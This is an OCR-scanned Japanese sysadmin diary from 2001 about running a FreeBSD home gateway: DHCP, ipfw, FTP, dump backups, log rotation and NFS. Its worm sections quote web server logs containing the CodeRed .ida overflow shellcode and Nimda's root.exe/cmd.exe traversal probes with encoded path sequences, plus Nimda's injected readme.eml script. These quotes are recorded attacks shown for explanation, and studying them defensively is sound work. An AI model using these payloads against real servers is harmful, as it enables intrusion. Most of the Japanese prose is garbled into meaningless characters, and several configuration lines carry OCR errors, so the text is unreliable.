/default.ida?NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
NNNNNNNNN%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%
u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a

HTTP/1.0" 400 324

CodeRedID DO OO

211.101.** ** - - [05/Aug/2001:21:29:57 +0900] "GET
/default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXKXXXXXX XX KX XXX XXXKXX KX XXX XXXXXXKXXKXXXXX
),9.9,9,0.9,0,0.9,0,0.9,:0.0,9,:9.9,0,.0.9,0,0.9,0,0.9.0.0,0,0.9,.0,:0.9,0,0.9,0,0.9,:0,0.0,0.9,0,.0.9,0,0.9,.0.0.0,0.9.0,:0.9.9.0.9,0,0.9,0.0,0,0.0:0,:0.9,0,.0.9.¢
0,9,9,:9.9,0,0.9.0,0.9,0,9,.9,:0.9,0,:0.9,0,0.9,0,0,.9.:0.0,.0,:0.9.0,:0.9,0,:0.9,0,.0.9.:0.0,0:0.9,0,09,0,.0.9.0,0.9.0,0,.9.0.9,0,:0.9,0,0.9.0,0.9,0.0,0:0.0,0,0.9,0.4
XXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%uchd3%u7801%u9090%u6858%uchd3%
u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a

HTTP/1.0" 404 277

gooooooOooooooooooooooOooooDoo nsggooopoogooooogooo
gobgoobobooboobooboobooboobbooboobooboobooobo

XIl.5.4 CodeRedO O OO ...

CodeRed] 00 DODOOOOOOOODODO DO CodeBluell Code Greend CRcleai O O 0O 0O O
gbo0dooobooboodooooboooooooooo

0 CodeBluél 0 Windows2000O 000000000000 CodeRed DD OO OODOODOOOS
goo0oooobobboodooooobboboooooooooo oo b ooooooo
J00doooboobooooooobooooooboooooano

0 00O Code Greel CRcleal 0 00 Code Red] O OO0 0O OO Code Greeid O Code Redl O
000000000000 CodeRedl DO DOOODOO0OODOOOOODOOO Code Greed dMicrosoft
OWebOOOOOOOOODOOOOOOOOOODOOOO0OOOO0O00OD0DO0O00000O0O0O0O00O0DOA0O
000 CodeRedl 0D OIDOODODODOOOOOOODODOOOOOOOCRclearOOOd
0 CodeRedl UOUOOCRclean DO IDOODOODO CodeRedl DO OO ODOONO DO CRclean
gddoddodooooodoouoooooudouooobooboobuooboooboo
JO00000Db 20010 110000000000 00O0O000OODOOO0OODOOODODOOOOOO
0o0d0dDooOo0o 300000000 obo00oDoO0o00oooooooooooooooon
gddboobooooodoobuooboob oo U0 oo0booob o
gooooboooobooooudbooooboobooooooooboboooooboooon



XI.6. NimdaO OO 81

XIl.6 Nimda OO O

NimdaO 20010 90 1800000000000 DOOOOOOOOOOOOOOOOOOOOO
0000000000000 OONmdaDO0O0OOO0OOOOOOOOOOOOOOOOOOOO
0000000 “admin”0000Nimdal CodeRed] D00 OO0OOOOOOOOOODODODOOOO
0NSs00000000000000000CodeRed] 000 1000000000000 OOO
O00OO0O0OO0OONmdaDOOOOOOOOOOOOOO 160000000000 O0O0OOOOOO
0000000000000 0000000C0O0OO0O0CodeRed DD ODOOOOOOOODOOOO
oooobooboooo

Xl.6.1 0000000 ODOOOO Nimda

NimdaOOOOOOOOOOOODOreadmeexe DO OOOOOOOO0OO0ODOODOOOOOOOO
O0000DO00oOooO0o0oooodOInternetExplorel OO0 OO0 0OO0O0DOODOODOOOOO
O0dO0OWebOOOOODODODOO HTMLOOOODOOOOOODODOODODODOOODOOO
NimdaOOODOO NISOOOO WebODO OO,

<script language="JavaScript" >Window.open ("readme.eml”, null,
"resizable=no,top=6000,left=6000") <Iscript >
dooooboobobooooooooo

Xl.6.2 Nimda OOOOOO0O

CodeRedd D00 OO0O0OODODODOOOOO NimdaDOOODODOOOOOOOOOOOODOOO
boboobooooobooooboboooboobooooboooooon

211.124 = ** - . [19/Sep/2001:10:58:36 +0900] "GET
Iscripts/root.exe?/c+dir HTTP/1.0" 404 282

211.124 **** . . [19/Sep/2001:10:58:41 +0900] "GET
/MSADC/root.exe?/c+dir HTTP/1.0" 404 280

211.124 %+ ** . . [19/Sep/2001:10:58:47 +0900] "GET
/clwinnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 290

211.124 = ** - . [19/Sep/2001:10:58:52 +0900] "GET
/d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 290

211.124 = ¥+ . . [19/Sep/2001:10:58:58 +0900] "GET
/scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 304
211.124 =%+ - - [19/Sep/2001:10:59:05 +0900] "GET
/_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 404 321

211.124 %+ *+* . . [19/Sep/2001:10:59:12 +0900] "GET
/_mem_bin/..%255c../..%255c../..%255¢c../winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 404 321

211.124 **** . . [19/Sep/2001:10:59:18 +0900] "GET
/msadc/..%255¢c../..%255c../..%255¢c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/sy
stem32/cmd.exe?/c+dir HTTP/1.0" 404 337

211.124 = ** - - [19/Sep/2001:10:59:23 +0900] "GET
/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 303
211.124 *#* ** . . [19/Sep/2001:10:59:29 +0900] "GET
/scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 303
211.124 **x**x - . [19/Sep/2001:10:59:36 +0900] "GET
Iscripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 303
211.124 = ** - - [19/Sep/2001:10:59:43 +0900] "GET
/scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 303
211.124 **x*xx - - [19/Sep/2001:10:59:49 +0900] "GET

/scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 287
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211.124 ****+* . . [19/Sep/2001:10:59:52 +0900] "GET
Iscripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 287
211.124 *****x - - [19/Sep/2001:10:59:58 +0900] "GET
/scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 304
211.124 = *=* - - [19/Sep/2001:11:00:05 +0900] "GET
/scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 304

100 00000000000 CodeRed OO ODODODOOUDODOOOODOOODOOONImdal
gboooooobooooobooooboobooon
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sisl rd0
1 277710 194 42 T92./168.1.3
CATVEF L -
192 168.1.1

Duragon user01

8H— + JW-HUB 5#— + SW-HUB

! _H_

rd0
edl
192. 1681.4 192.16p. 1.2 192.168. 16 192.168. 1. 8
AL Ly
[ [ l/
bluesky mar i dhop08
noren
0 XIV.1: 2001/10/70 000000000
0D O0000000000000000000 FreeBSDOOOODODOOODODOOODOOOODOO
DuragonD 0000000 CATVOOOO LANDOODODODOGatewayl OO0 OO0DOOO0O
0000000 NCDO 20000000 NICODO CATVOO DHCPODODOOOOOOO IPO
0000000000 0000000 NICODO DHCPOODOO LANDDOOOO IPOOOO
(192.168.0.0/16 1 DHCPO U OUOOODOODOOOOOOOOOOOOOOOODOOOOOO
DHCPOOOOODO ISC’O0 DHCPdOOOODOOODODOOODODOOOOODOOOODOOOOO
oKOOOODOOOODODDODOOODOOOLANOODDOOODODOOO NICO MACOOODDOOO
JdoooooIiPODDOOOOOOOODOODOOOOOOO
R dhcpd.conf-------------------—-
option domain-name-servers 192.168.1.1, 202.232.2.44, 211.120.XXX.XX;
option subnet-mask 255.255.0.0;
default-lease-time 43200;
max-lease-time 86400;
subnet 192.168.0.0 netmask 255.255.0.0 {
range 192.168.1.20 192.168.1.50;
option routers 192.168.1.1;
option broadcast-address 192.168.255.255;
group{
host noren {
hardware ethernet 00:c0:KK:AA:ZZ:YY;
fixed-address 192.168.1.4;
}
|
]
O
]
host blue {
hardware ethernet 00:40:XX:XX:XX:XX;
fixed-address 192.168.1.2;
}
}
L
(

ooooboooobooirPOOODODO
Ooo0o0ooooooooooooobpooL
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ipfw 50002 add allow tcp from 192.168.0.0/16 to 211.120.XX.XX 21 via <NIC

ipfw 50001 add deny tcp from any to 211.120.XX.XX 23 via <NIC
(0000 IPOOD0OODOO FTPOODOOOODO)

(«NIC 0O0D000>000 211.120.XX.XX
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ApacheWebservét 00000000000 0000O000O0OOO0OODOOOO httpd.conf
gooooooooooooobobobboooog

2001/3/1%1
0000ooOOoooo0O FTROODDOO0O00OD0DOO0O0O000D000ooooooooD. OoFTPOOO
go0doobooooooooboboobbooobOooobO oo oooOooLoooOoobooo o
gooboboooddooooooooooooooooooobboobo bbb oooOooOooon
oooo@ooooooo;)o
000000®¥oo00oo000000000000 PCOHTMLOOOOOOOOOFTPOO
0000000000000 ooDOoooooooDooDoDoooDooooon FTP(File Transfer
Protoco)D 0000000000000 OODOOOOOO0OODOOOOOOOOOOOOOOOO
pgooboobooodoboodouooooooooooobooouobooooa
FreeBSDO O fipdD OO 00000000 0OOOOO0OOOOO0OOOOOOOOOODOOftpdO
inetd0 000000000 FTPOOOOOOOOODODOODOOO0ODOOODOOODOOOOOOOO
0¥oooooo00O0000000000000000000000000000000000
00000000000000000 HDD40GB® OO 0000000000000 0o0nonooo
OFTPOODOOO0OO0OO0O0O0O0OOOOOOOFTPOD 200000000000FTPOOODOO
0000 /newdisc/ftpd O
user group pass home dir
bush / ftpusr shine /newdisc/ftp
adminftp / ftpusr Fkkkkkk Inewdisc/ftp
/newdisc/ftp/ (adminftp.ftpusr) [755]
I
|--- pub/ (adminftp.ftpusr) [755] 0mmooooooo
|--- upload/ (adminftp.ftpusr) [775] Imooooooo
|--- etc/ (root.wheel) [111] 00000 UserlD, GrouplD 0O

0000000000 bushd fetc/ftpchrootd 1000 0000000000 O000000O000
0000000000000000000000000ID00000000000000 ete/O
00 fetc/pw.db] /etc/groupd DO 00000 OKOOOOOOOOOOO0O00000000000
000 FTPO0O0O0O00O0O0OO0O0O0O0O0O0000000000000000O0OOOOOOOOOO
oooo (0)

2001/3/161
000000oooood
0000o0000oooood

000 00000000¥goooo0ooo000ooooooooon
O

ERROR:

The following error was encountered:

Unable to determine IP address from host name for dhcp-YYY.XXX.ne.jp

The dnsserver returned:

Name Error: The domain name does not exist.

This means that:

The cache was not able to resolve the hostname presented in the URL.

Check if the address is correct.

goooooooooooooooocoo0oooobooogoooooogo

gooo
0000000000000 000000000 DNS(Domain Name Servefj D 00O 0O

2000 WebO OO ODOOODODOOOO O http://www.apache.org/

BHomepage, HRI O 0 OD 0000000000 DOO0O0O0O0O0O0O0OO00O0OO0DOODOO0O0OO00O0O00O0OO0O0OO00
WebSiteD 00D D00 0OO0OOO

Anonymous] 00000 OD FIPOOOOODOODODOOOOOODOOOO0OOD0OON0OON0D 0000000000
OO0 anonymous 0 0000000000000 O0O0OO0OOOOOOOOO

150 0 14,0000

®0ppoU0000 WebOOODODDDOODOOOOOOOODOOO00OO0O000D000D0000000000000000
0000000000000000000000000000000



XIV.4. FireWallODOOOO... 89

Ooo0oooooooooobooOobo0oO0o0ooooooobobo bNsSOooooooooogoo
nsl.XXX.nejp0 00000000000 OOOO LANOO IPOOOODODOOODOOOODOOO
oooOoo0O0OO0O0O0OOOODODOODODOOOOOOOOOOOOODNSOOOO0O0O00000
0000 DNSOOOODOOoOooooooooboooo

000000000 XXX.nejpOOOOOOO IPOODOOOOODODOOOOOODOOODODOOO
gooOIPOODODODODODODOOOO0O0O0O0O0OOOOOOODODODODOOO DHCPODDDODDODO
O0000000DNSOOOOO0O0O0O0IPOOOO0OOOOOOOOOOO0OOOO0OO0 DNS
O00000000OO0O0OOoDHCPOOOOOODOOO dhclient0 DO O0OO0ODO /ete/dhclient.conf
OO0000OO00D00OO0O00O0DNSOOOODOOO0ODOODOOOODOODNSODOOOoOOo ooo
JPNICOODOOODOOOO0O0DOOOOOOOO 3o DNSOODOoOoobooooooooooo
OoO0OoO0 o bDNsSOOOoOoOoooooooUooooooOooooooooooo okOoOo
000000000000 DNSOOOO00O0oooooooooooooooooooooono
gboooboooobOobooooboboooboobooooboooooaon
2001/3/231

000000 BackupD OO OOODODOODOOOO0O000OODOOOOOODOO HDDOOO
oboobooboooooboobooobooboobOoboboooobooobooobooooobooon
Oo00o00oooooooooooOboo0O0oooooobo0oOoooooDOobODOFreeBSDOO
dump/restor&] 00 0000000000000 O00O0OOOOOODODOOOOOOOOOOOOO
OO0 BackupO OOOOOOOOOOOOOOOOOOOOOOOOUOOOOODOOOOODOOO
oono

Hmmmmm dump_bkp.sh
#!/bin/sh

# Commands
dmpcmd="/sbin/dump"
recmd="/shin/restore"
gzipcmd="/usr/bin/gzip"
mvemd="/bin/mv"

# Directry pathes
bkppath="/newdisc/backup/duragon”

# Rename previous backup files as "prev_XXX.gz"
${mvemd} ${bkppath}/root.gz ${bkppath}/prev_root.gz
${mvcmd} ${bkppath}/var.gz ${bkppath}/prev_var.gz
${mvemd} ${bkppath}/usr.gz ${bkppath}/prev_usr.gz
${mvemd} ${bkppath}/www.gz ${bkppath}/prev_www.gz

# Carry out Backup

${dmpcmd} Of - / | ${gzipcmd} -9 > /g/backup/duragon/root.gz
${dmpcmd} Of - /var | ${gzipcmd} -9 > ${bkppath}/var.gz
${dmpcmd} Of - /usr | ${gzipcmd} -9 > ${bkppath}/usr.gz
${dmpcmd} Of - mwww | ${gzipcmd} -9 > ${bkppath}www.gz
#.

00000 BackupO UDOOOODOOOOOOODOOOOOHDDOODODOOOOOOODOOO
ddodooooooboo0o0o0o0o0oooooooooobobooooooobooooboooooOoa
000 restoreld OO

# zcat /newdisc/backup/root.gz | restore rf -

00000000000 S000000000000000O0crond000O0OO0O /etc/crontad]

30 16 */5 * * root Jusr/local/libexec/dump\_bkp.sh
gooboobobooobobboobbbooobobooobobooo
a

000000 WebOOOODODODO
OO0000 25Mbps0 000 O0ODO

17Speed Test : http://member.nifty.ne.jp/oso/speedtest/
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f i newsyslog.conf
# configuration file for newsyslog

# $FreeBSD: src/etc/newsyslog.conf,v 1.25 2000/02/08 21:57:27 rwatson Exp $

#

# logfilename [owner:group] mode count size when [ZB] [/pid_file] [sig_num]
Ivar/log/cron 600 3 100 * z

o
(0)
o

#. 00 Apache DOO0ODOO

/var/apache/logs/access_log 644 10 * $MLDO ZB /var/run/apache.pid 1
Ivar/apache/logs/cgi.log 644 10 * $MLDO ZB /var/run/apache.pid 1
Ivar/apache/logs/error_log 644 10 * $MLDO ZB /var/run/apache.pid 1
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2001/4/2T11
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(8)
/www/lufin -maproot=Iufin 192.168.1.2 192.168.1.20
usr/ports -maproot=root 192.168.1.2

OOONFSOOODOO mountOOOOOOODOOOO

# lusr/sbin/nfsd -u -t -n 4
# mountd -r /etc/exports

OO0 NFSOOODOOOO0OD0OO
OO0O00DOO0O000O0OOmountD 0000 NFSOOOOOOODOOO :-P

# mount -t nfs 192.168.1.1:/www/lufin /home/lufin
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